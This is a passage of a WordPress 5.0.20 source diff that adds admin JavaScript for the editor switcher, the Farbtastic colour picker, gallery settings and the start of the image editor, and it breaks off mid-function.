+		wp.editor.autop = wpautop;
+		wp.editor.removep = pre_wpautop;
+
+		exports = {
+			go: switchEditor,
+			wpautop: wpautop,
+			pre_wpautop: pre_wpautop,
+			_wp_Autop: autop,
+			_wp_Nop: removep
+		};
+
+		return exports;
+	}
+
+	/**
+	 * @namespace {SwitchEditors} switchEditors
+	 * Expose the switch editors to be used globally.
+	 */
+	window.switchEditors = new SwitchEditors();
+
+	/**
+	 * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP).
+	 *
+	 * Intended for use with an existing textarea that will become the Text editor tab.
+	 * The editor width will be the width of the textarea container, height will be adjustable.
+	 *
+	 * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered"
+	 * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param {string} id The HTML id of the textarea that is used for the editor.
+	 *                    Has to be jQuery compliant. No brackets, special chars, etc.
+	 * @param {object} settings Example:
+	 * settings = {
+	 *    // See https://www.tinymce.com/docs/configure/integration-and-setup/.
+	 *    // Alternatively set to `true` to use the defaults.
+	 *    tinymce: {
+	 *        setup: function( editor ) {
+	 *            console.log( 'Editor initialized', editor );
+	 *        }
+	 *    }
+	 *
+	 *    // Alternatively set to `true` to use the defaults.
+	 *	  quicktags: {
+	 *        buttons: 'strong,em,link'
+	 *    }
+	 * }
+	 */
+	wp.editor.initialize = function( id, settings ) {
+		var init;
+		var defaults;
+
+		if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) {
+			return;
+		}
+
+		defaults = wp.editor.getDefaultSettings();
+
+		// Initialize TinyMCE by default
+		if ( ! settings ) {
+			settings = {
+				tinymce: true
+			};
+		}
+
+		// Add wrap and the Visual|Text tabs.
+		if ( settings.tinymce && settings.quicktags ) {
+			var $textarea = $( '#' + id );
+
+			var $wrap = $( '<div>' ).attr( {
+					'class': 'wp-core-ui wp-editor-wrap tmce-active',
+					id: 'wp-' + id + '-wrap'
+				} );
+
+			var $editorContainer = $( '<div class="wp-editor-container">' );
+
+			var $button = $( '<button>' ).attr( {
+					type: 'button',
+					'data-wp-editor-id': id
+				} );
+
+			var $editorTools = $( '<div class="wp-editor-tools">' );
+
+			if ( settings.mediaButtons ) {
+				var buttonText = 'Add Media';
+
+				if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) {
+					buttonText = window._wpMediaViewsL10n.addMedia;
+				}
+
+				var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' );
+
+				$addMediaButton.append( '<span class="wp-media-buttons-icon"></span>' );
+				$addMediaButton.append( document.createTextNode( ' ' + buttonText ) );
+				$addMediaButton.data( 'editor', id );
+
+				$editorTools.append(
+					$( '<div class="wp-media-buttons">' )
+						.append( $addMediaButton )
+				);
+			}
+
+			$wrap.append(
+				$editorTools
+					.append( $( '<div class="wp-editor-tabs">' )
+						.append( $button.clone().attr({
+							id: id + '-tmce',
+							'class': 'wp-switch-editor switch-tmce'
+						}).text( window.tinymce.translate( 'Visual' ) ) )
+						.append( $button.attr({
+							id: id + '-html',
+							'class': 'wp-switch-editor switch-html'
+						}).text( window.tinymce.translate( 'Text' ) ) )
+					).append( $editorContainer )
+			);
+
+			$textarea.after( $wrap );
+			$editorContainer.append( $textarea );
+		}
+
+		if ( window.tinymce && settings.tinymce ) {
+			if ( typeof settings.tinymce !== 'object' ) {
+				settings.tinymce = {};
+			}
+
+			init = $.extend( {}, defaults.tinymce, settings.tinymce );
+			init.selector = '#' + id;
+
+			$( document ).trigger( 'wp-before-tinymce-init', init );
+			window.tinymce.init( init );
+
+			if ( ! window.wpActiveEditor ) {
+				window.wpActiveEditor = id;
+			}
+		}
+
+		if ( window.quicktags && settings.quicktags ) {
+			if ( typeof settings.quicktags !== 'object' ) {
+				settings.quicktags = {};
+			}
+
+			init = $.extend( {}, defaults.quicktags, settings.quicktags );
+			init.id = id;
+
+			$( document ).trigger( 'wp-before-quicktags-init', init );
+			window.quicktags( init );
+
+			if ( ! window.wpActiveEditor ) {
+				window.wpActiveEditor = init.id;
+			}
+		}
+	};
+
+	/**
+	 * Remove one editor instance.
+	 *
+	 * Intended for use with editors that were initialized with wp.editor.initialize().
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param {string} id The HTML id of the editor textarea.
+	 */
+	wp.editor.remove = function( id ) {
+		var mceInstance, qtInstance,
+			$wrap = $( '#wp-' + id + '-wrap' );
+
+		if ( window.tinymce ) {
+			mceInstance = window.tinymce.get( id );
+
+			if ( mceInstance ) {
+				if ( ! mceInstance.isHidden() ) {
+					mceInstance.save();
+				}
+
+				mceInstance.remove();
+			}
+		}
+
+		if ( window.quicktags ) {
+			qtInstance = window.QTags.getInstance( id );
+
+			if ( qtInstance ) {
+				qtInstance.remove();
+			}
+		}
+
+		if ( $wrap.length ) {
+			$wrap.after( $( '#' + id ) );
+			$wrap.remove();
+		}
+	};
+
+	/**
+	 * Get the editor content.
+	 *
+	 * Intended for use with editors that were initialized with wp.editor.initialize().
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param {string} id The HTML id of the editor textarea.
+	 * @return The editor content.
+	 */
+	wp.editor.getContent = function( id ) {
+		var editor;
+
+		if ( ! $ || ! id ) {
+			return;
+		}
+
+		if ( window.tinymce ) {
+			editor = window.tinymce.get( id );
+
+			if ( editor && ! editor.isHidden() ) {
+				editor.save();
+			}
+		}
+
+		return $( '#' + id ).val();
+	};
+
+}( window.jQuery, window.wp ));
Index: /tags/5.0.20/src/wp-admin/js/farbtastic.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/farbtastic.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/farbtastic.js	(revision 56912)
@@ -0,0 +1,276 @@
+/*!
+ * Farbtastic: jQuery color picker plug-in v1.3u
+ *
+ * Licensed under the GPL license:
+ *   http://www.gnu.org/licenses/gpl.html
+ */
+(function($) {
+
+$.fn.farbtastic = function (options) {
+  $.farbtastic(this, options);
+  return this;
+};
+
+$.farbtastic = function (container, callback) {
+  var container = $(container).get(0);
+  return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
+};
+
+$._farbtastic = function (container, callback) {
+  // Store farbtastic object
+  var fb = this;
+
+  // Insert markup
+  $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
+  var e = $('.farbtastic', container);
+  fb.wheel = $('.wheel', container).get(0);
+  // Dimensions
+  fb.radius = 84;
+  fb.square = 100;
+  fb.width = 194;
+
+  // Fix background PNGs in IE6
+  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
+    $('*', e).each(function () {
+      if (this.currentStyle.backgroundImage != 'none') {
+        var image = this.currentStyle.backgroundImage;
+        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
+        $(this).css({
+          'backgroundImage': 'none',
+          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
+        });
+      }
+    });
+  }
+
+  /**
+   * Link to the given element(s) or callback.
+   */
+  fb.linkTo = function (callback) {
+    // Unbind previous nodes
+    if (typeof fb.callback == 'object') {
+      $(fb.callback).unbind('keyup', fb.updateValue);
+    }
+
+    // Reset color
+    fb.color = null;
+
+    // Bind callback or elements
+    if (typeof callback == 'function') {
+      fb.callback = callback;
+    }
+    else if (typeof callback == 'object' || typeof callback == 'string') {
+      fb.callback = $(callback);
+      fb.callback.bind('keyup', fb.updateValue);
+      if (fb.callback.get(0).value) {
+        fb.setColor(fb.callback.get(0).value);
+      }
+    }
+    return this;
+  };
+  fb.updateValue = function (event) {
+    if (this.value && this.value != fb.color) {
+      fb.setColor(this.value);
+    }
+  };
+
+  /**
+   * Change color with HTML syntax #123456
+   */
+  fb.setColor = function (color) {
+    var unpack = fb.unpack(color);
+    if (fb.color != color && unpack) {
+      fb.color = color;
+      fb.rgb = unpack;
+      fb.hsl = fb.RGBToHSL(fb.rgb);
+      fb.updateDisplay();
+    }
+    return this;
+  };
+
+  /**
+   * Change color with HSL triplet [0..1, 0..1, 0..1]
+   */
+  fb.setHSL = function (hsl) {
+    fb.hsl = hsl;
+    fb.rgb = fb.HSLToRGB(hsl);
+    fb.color = fb.pack(fb.rgb);
+    fb.updateDisplay();
+    return this;
+  };
+
+  /////////////////////////////////////////////////////
+
+  /**
+   * Retrieve the coordinates of the given event relative to the center
+   * of the widget.
+   */
+  fb.widgetCoords = function (event) {
+    var offset = $(fb.wheel).offset();
+    return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
+  };
+
+  /**
+   * Mousedown handler
+   */
+  fb.mousedown = function (event) {
+    // Capture mouse
+    if (!document.dragging) {
+      $(document).bind('mousemove', fb.mousemove).bind('mouseup', fb.mouseup);
+      document.dragging = true;
+    }
+
+    // Check which area is being dragged
+    var pos = fb.widgetCoords(event);
+    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;
+
+    // Process
+    fb.mousemove(event);
+    return false;
+  };
+
+  /**
+   * Mousemove handler
+   */
+  fb.mousemove = function (event) {
+    // Get coordinates relative to color picker center
+    var pos = fb.widgetCoords(event);
+
+    // Set new HSL parameters
+    if (fb.circleDrag) {
+      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
+      if (hue < 0) hue += 1;
+      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
+    }
+    else {
+      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
+      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
+      fb.setHSL([fb.hsl[0], sat, lum]);
+    }
+    return false;
+  };
+
+  /**
+   * Mouseup handler
+   */
+  fb.mouseup = function () {
+    // Uncapture mouse
+    $(document).unbind('mousemove', fb.mousemove);
+    $(document).unbind('mouseup', fb.mouseup);
+    document.dragging = false;
+  };
+
+  /**
+   * Update the markers and styles
+   */
+  fb.updateDisplay = function () {
+    // Markers
+    var angle = fb.hsl[0] * 6.28;
+    $('.h-marker', e).css({
+      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
+      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
+    });
+
+    $('.sl-marker', e).css({
+      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
+      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
+    });
+
+    // Saturation/Luminance gradient
+    $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));
+
+    // Linked elements or callback
+    if (typeof fb.callback == 'object') {
+      // Set background/foreground color
+      $(fb.callback).css({
+        backgroundColor: fb.color,
+        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
+      });
+
+      // Change linked value
+      $(fb.callback).each(function() {
+        if (this.value && this.value != fb.color) {
+          this.value = fb.color;
+        }
+      });
+    }
+    else if (typeof fb.callback == 'function') {
+      fb.callback.call(fb, fb.color);
+    }
+  };
+
+  /* Various color utility functions */
+  fb.pack = function (rgb) {
+    var r = Math.round(rgb[0] * 255);
+    var g = Math.round(rgb[1] * 255);
+    var b = Math.round(rgb[2] * 255);
+    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
+           (g < 16 ? '0' : '') + g.toString(16) +
+           (b < 16 ? '0' : '') + b.toString(16);
+  };
+
+  fb.unpack = function (color) {
+    if (color.length == 7) {
+      return [parseInt('0x' + color.substring(1, 3)) / 255,
+        parseInt('0x' + color.substring(3, 5)) / 255,
+        parseInt('0x' + color.substring(5, 7)) / 255];
+    }
+    else if (color.length == 4) {
+      return [parseInt('0x' + color.substring(1, 2)) / 15,
+        parseInt('0x' + color.substring(2, 3)) / 15,
+        parseInt('0x' + color.substring(3, 4)) / 15];
+    }
+  };
+
+  fb.HSLToRGB = function (hsl) {
+    var m1, m2, r, g, b;
+    var h = hsl[0], s = hsl[1], l = hsl[2];
+    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
+    m1 = l * 2 - m2;
+    return [this.hueToRGB(m1, m2, h+0.33333),
+        this.hueToRGB(m1, m2, h),
+        this.hueToRGB(m1, m2, h-0.33333)];
+  };
+
+  fb.hueToRGB = function (m1, m2, h) {
+    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
+    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
+    if (h * 2 < 1) return m2;
+    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
+    return m1;
+  };
+
+  fb.RGBToHSL = function (rgb) {
+    var min, max, delta, h, s, l;
+    var r = rgb[0], g = rgb[1], b = rgb[2];
+    min = Math.min(r, Math.min(g, b));
+    max = Math.max(r, Math.max(g, b));
+    delta = max - min;
+    l = (min + max) / 2;
+    s = 0;
+    if (l > 0 && l < 1) {
+      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
+    }
+    h = 0;
+    if (delta > 0) {
+      if (max == r && max != g) h += (g - b) / delta;
+      if (max == g && max != b) h += (2 + (b - r) / delta);
+      if (max == b && max != r) h += (4 + (r - g) / delta);
+      h /= 6;
+    }
+    return [h, s, l];
+  };
+
+  // Install mousedown handler (the others are set on the document on-demand)
+  $('*', e).mousedown(fb.mousedown);
+
+    // Init color
+  fb.setColor('#000000');
+
+  // Set linked elements/callback
+  if (callback) {
+    fb.linkTo(callback);
+  }
+};
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/gallery.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/gallery.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/gallery.js	(revision 56912)
@@ -0,0 +1,237 @@
+/* global unescape, getUserSetting, setUserSetting */
+
+jQuery(document).ready(function($) {
+	var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;
+
+	gallerySortableInit = function() {
+		gallerySortable = $('#media-items').sortable( {
+			items: 'div.media-item',
+			placeholder: 'sorthelper',
+			axis: 'y',
+			distance: 2,
+			handle: 'div.filename',
+			stop: function() {
+				// When an update has occurred, adjust the order for each item
+				var all = $('#media-items').sortable('toArray'), len = all.length;
+				$.each(all, function(i, id) {
+					var order = desc ? (len - i) : (1 + i);
+					$('#' + id + ' .menu_order input').val(order);
+				});
+			}
+		} );
+	};
+
+	sortIt = function() {
+		var all = $('.menu_order_input'), len = all.length;
+		all.each(function(i){
+			var order = desc ? (len - i) : (1 + i);
+			$(this).val(order);
+		});
+	};
+
+	clearAll = function(c) {
+		c = c || 0;
+		$('.menu_order_input').each( function() {
+			if ( this.value === '0' || c ) {
+				this.value = '';
+			}
+		});
+	};
+
+	$('#asc').click( function( e ) {
+		e.preventDefault();
+		desc = false;
+		sortIt();
+	});
+	$('#desc').click( function( e ) {
+		e.preventDefault();
+		desc = true;
+		sortIt();
+	});
+	$('#clear').click( function( e ) {
+		e.preventDefault();
+		clearAll(1);
+	});
+	$('#showall').click( function( e ) {
+		e.preventDefault();
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').hide();
+		$('a.describe-toggle-off, table.slidetoggle').show();
+		$('img.pinkynail').toggle(false);
+	});
+	$('#hideall').click( function( e ) {
+		e.preventDefault();
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').show();
+		$('a.describe-toggle-off, table.slidetoggle').hide();
+		$('img.pinkynail').toggle(true);
+	});
+
+	// initialize sortable
+	gallerySortableInit();
+	clearAll();
+
+	if ( $('#media-items>*').length > 1 ) {
+		w = wpgallery.getWin();
+
+		$('#save-all, #gallery-settings').show();
+		if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
+			wpgallery.mcemode = true;
+			wpgallery.init();
+		} else {
+			$('#insert-gallery').show();
+		}
+	}
+});
+
+jQuery(window).unload( function () { tinymce = tinyMCE = wpgallery = null; } ); // Cleanup
+
+/* gallery settings */
+var tinymce = null, tinyMCE, wpgallery;
+
+wpgallery = {
+	mcemode : false,
+	editor : {},
+	dom : {},
+	is_update : false,
+	el : {},
+
+	I : function(e) {
+		return document.getElementById(e);
+	},
+
+	init: function() {
+		var t = this, li, q, i, it, w = t.getWin();
+
+		if ( ! t.mcemode ) {
+			return;
+		}
+
+		li = ('' + document.location.search).replace(/^\?/, '').split('&');
+		q = {};
+		for (i=0; i<li.length; i++) {
+			it = li[i].split('=');
+			q[unescape(it[0])] = unescape(it[1]);
+		}
+
+		if ( q.mce_rdomain ) {
+			document.domain = q.mce_rdomain;
+		}
+
+		// Find window & API
+		tinymce = w.tinymce;
+		tinyMCE = w.tinyMCE;
+		t.editor = tinymce.EditorManager.activeEditor;
+
+		t.setup();
+	},
+
+	getWin : function() {
+		return window.dialogArguments || opener || parent || top;
+	},
+
+	setup : function() {
+		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
+		if ( ! t.mcemode ) {
+			return;
+		}
+
+		t.el = ed.selection.getNode();
+
+		if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
+			if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
+				t.el = g[0];
+			} else {
+				if ( getUserSetting('galfile') === '1' ) {
+					t.I('linkto-file').checked = 'checked';
+				}
+				if ( getUserSetting('galdesc') === '1' ) {
+					t.I('order-desc').checked = 'checked';
+				}
+				if ( getUserSetting('galcols') ) {
+					t.I('columns').value = getUserSetting('galcols');
+				}
+				if ( getUserSetting('galord') ) {
+					t.I('orderby').value = getUserSetting('galord');
+				}
+				jQuery('#insert-gallery').show();
+				return;
+			}
+		}
+
+		a = ed.dom.getAttrib(t.el, 'title');
+		a = ed.dom.decode(a);
+
+		if ( a ) {
+			jQuery('#update-gallery').show();
+			t.is_update = true;
+
+			columns = a.match(/columns=['"]([0-9]+)['"]/);
+			link = a.match(/link=['"]([^'"]+)['"]/i);
+			order = a.match(/order=['"]([^'"]+)['"]/i);
+			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);
+
+			if ( link && link[1] ) {
+				t.I('linkto-file').checked = 'checked';
+			}
+			if ( order && order[1] ) {
+				t.I('order-desc').checked = 'checked';
+			}
+			if ( columns && columns[1] ) {
+				t.I('columns').value = '' + columns[1];
+			}
+			if ( orderby && orderby[1] ) {
+				t.I('orderby').value = orderby[1];
+			}
+		} else {
+			jQuery('#insert-gallery').show();
+		}
+	},
+
+	update : function() {
+		var t = this, ed = t.editor, all = '', s;
+
+		if ( ! t.mcemode || ! t.is_update ) {
+			s = '[gallery' + t.getSettings() + ']';
+			t.getWin().send_to_editor(s);
+			return;
+		}
+
+		if ( t.el.nodeName !== 'IMG' ) {
+			return;
+		}
+
+		all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
+		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
+		all += t.getSettings();
+
+		ed.dom.setAttrib(t.el, 'title', all);
+		t.getWin().tb_remove();
+	},
+
+	getSettings : function() {
+		var I = this.I, s = '';
+
+		if ( I('linkto-file').checked ) {
+			s += ' link="file"';
+			setUserSetting('galfile', '1');
+		}
+
+		if ( I('order-desc').checked ) {
+			s += ' order="DESC"';
+			setUserSetting('galdesc', '1');
+		}
+
+		if ( I('columns').value !== 3 ) {
+			s += ' columns="' + I('columns').value + '"';
+			setUserSetting('galcols', I('columns').value);
+		}
+
+		if ( I('orderby').value !== 'menu_order' ) {
+			s += ' orderby="' + I('orderby').value + '"';
+			setUserSetting('galord', I('orderby').value);
+		}
+
+		return s;
+	}
+};
Index: /tags/5.0.20/src/wp-admin/js/image-edit.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/image-edit.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/image-edit.js	(revision 56912)
@@ -0,0 +1,1092 @@
+/* global imageEditL10n, ajaxurl, confirm */
+/**
+ * @summary   The functions necessary for editing images.
+ *
+ * @since     2.9.0
+ */
+
+(function($) {
+
+	/**
+	 * Contains all the methods to initialise and control the image editor.
+	 *
+	 * @namespace imageEdit
+	 */
+	var imageEdit = window.imageEdit = {
+	iasapi : {},
+	hold : {},
+	postid : '',
+	_view : false,
+
+	/**
+	 * @summary Converts a value to an integer.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} f The float value that should be converted.
+	 *
+	 * @return {number} The integer representation from the float value.
+	 */
+	intval : function(f) {
+		/*
+		 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
+		 * worth reminding JavaScript doesn't have a distinct "integer" type.
+		 */
+		return f | 0;
+	},
+
+	/**
+	 * @summary Adds the disabled attribute and class to a single form element
+	 *          or a field set.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {jQuery}         el The element that should be modified.
+	 * @param {bool|number}    s  The state for the element. If set to true
+	 *                            the element is disabled,
+	 *                            otherwise the element is enabled.
+	 *                            The function is sometimes called with a 0 or 1
+	 *                            instead of true or false.
+	 *
+	 * @returns {void}
+	 */
+	setDisabled : function( el, s ) {
+		/*
+		 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
+		 * some text fields  was handled targeting $('input', el). Now we need to handle the
+		 * disabled state on buttons too so we can just target `el` regardless if it's a single
+		 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
+		 */
+		if ( s ) {
+			el.removeClass( 'disabled' ).prop( 'disabled', false );
+		} else {
+			el.addClass( 'disabled' ).prop( 'disabled', true );
+		}
+	},
+
+	/**
+	 * @summary Initializes the image editor.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 *
+	 * @returns {void}
+	 */
+	init : function(postid) {
+		var t = this, old = $('#image-editor-' + t.postid),
+			x = t.intval( $('#imgedit-x-' + postid).val() ),
+			y = t.intval( $('#imgedit-y-' + postid).val() );
+
+		if ( t.postid !== postid && old.length ) {
+			t.close(t.postid);
+		}
+
+		t.hold.w = t.hold.ow = x;
+		t.hold.h = t.hold.oh = y;
+		t.hold.xy_ratio = x / y;
+		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
+		t.postid = postid;
+		$('#imgedit-response-' + postid).empty();
+
+		$('input[type="text"]', '#imgedit-panel-' + postid).keypress(function(e) {
+			var k = e.keyCode;
+
+			// Key codes 37 thru 40 are the arrow keys.
+			if ( 36 < k && k < 41 ) {
+				$(this).blur();
+			}
+
+			// The key code 13 is the enter key.
+			if ( 13 === k ) {
+				e.preventDefault();
+				e.stopPropagation();
+				return false;
+			}
+		});
+	},
+
+	/**
+	 * @summary Toggles the wait/load icon in the editor.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 * @param {number} toggle Is 0 or 1, fades the icon in then 1 and out when 0.
+	 *
+	 * @returns {void}
+	 */
+	toggleEditor : function(postid, toggle) {
+		var wait = $('#imgedit-wait-' + postid);
+
+		if ( toggle ) {
+			wait.fadeIn( 'fast' );
+		} else {
+			wait.fadeOut('fast');
+		}
+	},
+
+	/**
+	 * @summary Shows or hides the image edit help box.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {HTMLElement} el The element to create the help window in.
+	 *
+	 * @returns {boolean} Always returns false.
+	 */
+	toggleHelp : function(el) {
+		var $el = $( el );
+		$el
+			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
+			.parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );
+
+		return false;
+	},
+
+	/**
+	 * @summary Gets the value from the image edit target.
+	 *
+	 * The image edit target contains the image sizes where the (possible) changes
+	 * have to be applied to.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 *
+	 * @returns {string} The value from the imagedit-save-target input field when available,
+	 *                   or 'full' when not available.
+	 */
+	getTarget : function(postid) {
+		return $('input[name="imgedit-target-' + postid + '"]:checked', '#imgedit-save-target-' + postid).val() || 'full';
+	},
+
+	/**
+	 * @summary Recalculates the height or width and keeps the original aspect ratio.
+	 *
+	 * If the original image size is exceeded a red exclamation mark is shown.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number}         postid The current post id.
+	 * @param {number}         x      Is 0 when it applies the y-axis
+	 *                                and 1 when applicable for the x-axis.
+	 * @param {jQuery}         el     Element.
+	 *
+	 * @returns {void}
+	 */
+	scaleChanged : function( postid, x, el ) {
+		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
+		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '';
+
+		if ( false === this.validateNumeric( el ) ) {
+			return;
+		}
+
+		if ( x ) {
+			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
+			h.val( h1 );
+		} else {
+			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
+			w.val( w1 );
+		}
+
+		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
+			warn.css('visibility', 'visible');
+		} else {
+			warn.css('visibility', 'hidden');
+		}
+	},
+
+	/**
+	 * @summary Gets the selected aspect ratio.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 *
+	 * @returns {string} The aspect ratio.
+	 */
+	getSelRatio : function(postid) {
+		var x = this.hold.w, y = this.hold.h,
+			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
+			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );
+
+		if ( X && Y ) {
+			return X + ':' + Y;
+		}
+
+		if ( x && y ) {
+			return x + ':' + y;
+		}
+
+		return '1:1';
+	},
+
+	/**
+	 * @summary Removes the last action from the image edit history
+	 * The history consist of (edit) actions performed on the image.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid  The post id.
+	 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
+	 *
+	 * @returns {string} JSON string containing the history or an empty string if no history exists.
+	 */
+	filterHistory : function(postid, setSize) {
+		// Apply undo state to history.
+		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];
+
+		if ( history !== '' ) {
+			// Read the JSON string with the image edit history.
+			history = JSON.parse(history);
+			pop = this.intval( $('#imgedit-undone-' + postid).val() );
+			if ( pop > 0 ) {
+				while ( pop > 0 ) {
+					history.pop();
+					pop--;
+				}
+			}
+
+			// Reset size to it's original state.
+			if ( setSize ) {
+				if ( !history.length ) {
+					this.hold.w = this.hold.ow;
+					this.hold.h = this.hold.oh;
+					return '';
+				}
+
+				// Restore original 'o'.
+				o = history[history.length - 1];
+
+				// c = 'crop', r = 'rotate', f = 'flip'
+				o = o.c || o.r || o.f || false;
+
+				if ( o ) {
+					// fw = Full image width
+					this.hold.w = o.fw;
+					// fh = Full image height
+					this.hold.h = o.fh;
+				}
+			}
+
+			// Filter the last step/action from the history.
+			for ( n in history ) {
+				i = history[n];
+				if ( i.hasOwnProperty('c') ) {
+					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
+				} else if ( i.hasOwnProperty('r') ) {
+					op[n] = { 'r': i.r.r };
+				} else if ( i.hasOwnProperty('f') ) {
+					op[n] = { 'f': i.f.f };
+				}
+			}
+			return JSON.stringify(op);
+		}
+		return '';
+	},
+	/**
+	 * @summary Binds the necessary events to the image.
+	 *
+	 * When the image source is reloaded the image will be reloaded.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number}   postid   The post id.
+	 * @param {string}   nonce    The nonce to verify the request.
+	 * @param {function} callback Function to execute when the image is loaded.
+	 *
+	 * @returns {void}
+	 */
+	refreshEditor : function(postid, nonce, callback) {
+		var t = this, data, img;
+
+		t.toggleEditor(postid, 1);
+		data = {
+			'action': 'imgedit-preview',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'history': t.filterHistory(postid, 1),
+			'rand': t.intval(Math.random() * 1000000)
+		};
+
+		img = $( '<img id="image-preview-' + postid + '" alt="" />' )
+			.on( 'load', { history: data.history }, function( event ) {
+				var max1, max2,
+					parent = $( '#imgedit-crop-' + postid ),
+					t = imageEdit,
+					historyObj;
+
+				// Checks if there already is some image-edit history.
+				if ( '' !== event.data.history ) {
+					historyObj = JSON.parse( event.data.history );
+					// If last executed action in history is a crop action.
+					if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
+						/*
+						 * A crop action has completed and the crop button gets disabled
+						 * ensure the undo button is enabled.
+						 */
+						t.setDisabled( $( '#image-undo-' + postid) , true );
+						// Move focus to the undo button to avoid a focus loss.
+						$( '#image-undo-' + postid ).focus();
+					}
+				}
+
+				parent.empty().append(img);
+
+				// w, h are the new full size dims
+				max1 = Math.max( t.hold.w, t.hold.h );
+				max2 = Math.max( $(img).width(), $(img).height() );
+				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;
+
+				t.initCrop(postid, img, parent);
+				t.setCropSelection(postid, 0);
+
+				if ( (typeof callback !== 'undefined') && callback !== null ) {
+					callback();
+				}
+
+				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
+					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).removeAttr('disabled');
+				} else {
+					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
+				}
+
+				t.toggleEditor(postid, 0);
+			})
+			.on('error', function() {
